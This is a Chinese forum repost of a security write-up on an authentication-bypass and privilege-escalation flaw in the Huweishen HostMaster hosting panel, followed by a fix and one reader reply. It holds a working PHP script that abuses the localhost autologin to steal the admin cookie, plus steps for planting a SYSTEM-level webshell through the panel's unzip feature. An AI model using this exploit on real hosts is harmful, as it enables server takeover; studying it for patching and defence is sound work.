搜索
查看: 461|回复: 1

护卫神主机大师提权漏洞利用分析

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-6-16 22:02:57 | 显示全部楼层 |阅读模式
原文链接:http://www.freebuf.com/articles/web/173947.html

0×01 前言

护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+Mysql+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。但这套系统真的像描述的那么安全么?,由于某次安全测试遇到该系统,遂对该系统进行分析。本文记录了分析过程中的一些记录和问题。

0×02 代码分析

先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅

[/url]

点开之后就直接进去了,WTF?

[url=http://image.3001.net/images/20180605/15282120106376.png]

从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

  1. <%Option Explicit%>
  2. <!--#include file="../conn.asp"-->
  3. <%
  4. Dim strIp
  5. strIp = Request.ServerVariables("local_addr")
  6. Dim strAuto
  7. strAuto = LCase(Trim(Request.QueryString("f")))
  8. If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin"  Then
  9.     '获取管理用户登录
  10.     Dim sql,rs
  11.     call conn_open()
  12.     Set rs = Server.CreateObject("Adodb.Recordset")
  13.     sql = "select top 1 * from [huweishen_Admin]"
  14.     rs.Open sql,conn,1,1
  15.     if rs.RecordCount = 0 then
  16.         Session("admin")= "autologin"
  17.     else
  18.         Session("admin") = rs("username")
  19.     end if
  20.     rs.Close
  21.     Session.Timeout =600
  22.     AddLog Session("admin"), 1, "控制台直接登录管理中心"
  23.     Response.Redirect "index.asp"
  24. End If
  25. %>
复制代码

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

0×03 利用方法

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

  1. <?php
  2. function httpGet() {
  3.     $url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';
  4.     $ch = curl_init();
  5.     curl_setopt($ch, CURLOPT_URL, $url);
  6.     curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header
  7.     curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
  8.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  9.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
  10.     curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  11.     curl_setopt($ch, CURLOPT_TIMEOUT, 120);
  12.     $result = curl_exec($ch);
  13.     return $result;
  14. }
  15. echo httpGet();
  16. ?>
复制代码

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

0×04 GETSHELL

直接访问需要登录

[/url]

通过脚本获取cookie

[url=http://image.3001.net/images/20180605/15282120529933.png]

修改cookie后直接访问/admin/index.asp,进入后台

[/url]

进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。

[url=http://image.3001.net/images/20180605/15282121561494.png]

在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可

点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

0×05 总结

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。

修复方案:

删除第三行到第三十行之间的代码即可。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了

0

主题

2

帖子

24

积分

我是新手

Rank: 1

积分
24
发表于 2018-7-8 22:31:41 | 显示全部楼层
在有shell下,挂上代理,是否也可以直接访问登陆成功
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表